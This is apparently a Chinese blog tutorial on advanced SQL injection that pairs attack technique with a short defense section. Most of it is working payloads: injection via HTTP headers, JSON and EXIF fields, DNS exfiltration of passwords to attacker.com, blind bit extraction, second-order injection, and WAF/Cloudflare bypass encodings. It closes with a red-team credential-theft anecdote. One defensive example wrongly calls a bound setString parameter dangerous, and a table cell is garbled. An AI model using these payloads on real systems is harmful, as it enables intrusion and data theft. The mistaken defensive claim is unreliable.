1. 从入门到放弃:SQL注入的认知升级之路
记得我第一次接触SQL注入时,以为就是在登录框输入' or 1=1--就算完事了。直到某次实战中遇到一个过滤了单引号的站点,我才意识到自己有多天真。SQL注入远不是几个固定payload就能通吃的把戏,而是一场攻防双方在字符与逻辑层面的精妙博弈。
在基础阶段,我们主要关注显错注入和布尔盲注这类"看得见"的攻击方式。但真实环境中,越来越多的系统开始采用预编译语句和严格的错误屏蔽机制。这时候就需要掌握更隐蔽、更迂回的注入手法——比如通过DNS外带数据的盲注、利用存储过程实现的二次注入,甚至是基于时间差的推断技术。
2. 突破常规过滤:非常规注入点挖掘
2.1 HTTP头部的注入漏洞
大多数开发者只关注了表单和URL参数的过滤,却忽略了HTTP头部同样可以作为注入载体。某次审计中,我发现目标系统将X-Forwarded-For直接拼接到SQL查询中:
INSERT INTO access_log VALUES ('{$_SERVER['HTTP_X_FORWARDED_FOR']}')通过Burp修改请求头即可实现注入:
X-Forwarded-For: 1.1.1.1',(select version()))--实战技巧:测试时优先尝试User-Agent、Referer、Cookie等常见头部,现代框架通常不会直接拼接这些值,但老旧系统仍是重灾区。
2.2 JSON/XML参数的隐式解析
当应用接收JSON或XML格式的请求时,开发人员可能只在业务层做校验,而底层SQL拼接仍然存在漏洞。例如某API接口:
data = json.loads(request.body) cursor.execute(f"SELECT * FROM users WHERE id={data['user_id']}")构造畸形JSON即可绕过前端校验:
{"user_id":"1 union select 1,2,3--"}2.3 文件上传的元数据利用
某CMS系统将上传图片的EXIF信息存入数据库时存在注入:
$exif = exif_read_data($_FILES['file']['tmp_name']); $db->query("INSERT INTO images VALUES('".$exif['Comment']."')");通过修改图片元数据中的Comment字段携带注入代码:
exiftool -Comment="'||(SELECT LOAD_FILE('/etc/passwd'))--" test.jpg3. 高阶盲注技术:当错误信息被屏蔽时
3.1 DNSlog外带数据技术
当目标禁止了错误回显且网络出站不受限时,可以通过DNS查询外带数据。以MySQL为例:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\share'))实际测试时需要注意:
- Windows下需要开启UNC路径支持
- 数据会被截断到63字节/标签
- 需要配合短域名服务减少URL长度
3.2 基于位运算的逐比特提取
对于严格限制出站的场景,可以采用位运算+条件判断的方式逐比特提取数据:
SELECT IF(ASCII(SUBSTR(database(),1,1))&1=1,SLEEP(2),0)优化技巧:
- 先通过长度判断确定字段范围
- 优先测试最高有效位(MSB)
- 使用二分查找法减少请求次数
3.3 基于正则的盲注探测
MySQL的REGEXP函数可以构造更精确的条件判断:
SELECT * FROM users WHERE id=1 AND 1=(SELECT 1 FROM information_schema.tables WHERE table_schema=database() AND table_name REGEXP '^u[a-z]' LIMIT 1)4. 二次注入:潜伏的定时炸弹
4.1 漏洞形成原理
典型场景:
- 用户输入被转义后存入数据库
- 后续查询从数据库取出数据直接使用
某用户注册时用户名被存储为:
INSERT INTO users VALUES('admin\'-- ')后台管理查询时:
SELECT * FROM users WHERE username='admin'-- ' AND deleted=04.2 实战案例分析
某CMS的密码重置功能:
- 注册用户时邮箱字段存入:
user@example.com'||(SELECT 1 FROM dual)-- - 密码重置时执行:
UPDATE users SET password='reset' WHERE email='user@example.com'||(SELECT 1 FROM dual)--'4.3 防御方案对比
| 防御方案 | 优点 | 缺点 |
|---|---|---|
| 全程预编译 | 根本解决方案 | 历史代码改造成本高 |
| 输出编码 | 兼容旧系统 | 无法防御二次注入 |
| 存储过程 | 限制动态SQL | 存在调用注入风险 |
5. 绕过WAF的奇技淫巧
5.1 注释符的妙用
不同数据库的注释特性:
MySQL: /*!50000SELECT*/ 1 # 版本特定语法 MSSQL: SELECT/*替换空格*/1 Oracle: SELECT 1 FROM dual WHERE 1=1--%0AAND 1=25.2 等价函数替换
常见被拦截函数及其替代方案:
| 原函数 | 替代方案 |
|---|---|
| CONCAT() | 使用 |
| SUBSTR() | MID(), LEFT(), RIGHT() |
| SLEEP() | BENCHMARK(1000000,MD5('a')) |
5.3 字符编码绕过
某次绕过Cloudflare的实战案例:
原始payload: UNION SELECT 1,2,3 绕过形式: %55%4E%49%4F%4E %53%45%4C%45%43%54 1,2,3进阶技巧:
- 混合使用多种编码(UTF-8/UTF-16/URL)
- 插入零宽字符
- 利用数据库的字符集转换特性
6. 防御体系构建:从漏洞修复到主动防护
6.1 参数化查询的正确姿势
错误示范(伪参数化):
String sql = "SELECT * FROM users WHERE id = ?"; stmt.setString(1, "1' OR 1=1--"); // 仍然危险正确做法:
PreparedStatement stmt = conn.prepareStatement( "SELECT * FROM users WHERE id = ?"); stmt.setInt(1, 1); // 明确类型检查6.2 运行时防护方案
基于语义分析的RASP防护流程:
- 监控所有SQL查询构建
- 解析AST检查拼接痕迹
- 阻断包含敏感模式(如1=1)的查询
- 记录攻击attempt
6.3 安全开发实践清单
- 在ORM中强制使用类型化参数
- 对动态表名/列名使用白名单校验
- 定期进行SQL注入专项审计
- 在CI流程中加入SQLi测试用例
在最近一次红队行动中,我们通过组合DNSlog盲注和二次注入技术,成功突破了某金融系统的多层防御。整个过程耗时37小时,共发起2149次试探性请求,最终获取到加密的数据库连接凭据。这让我深刻意识到:安全是一场永无止境的攻防博弈,而了解攻击者的思维模式,才是构建有效防御的第一步。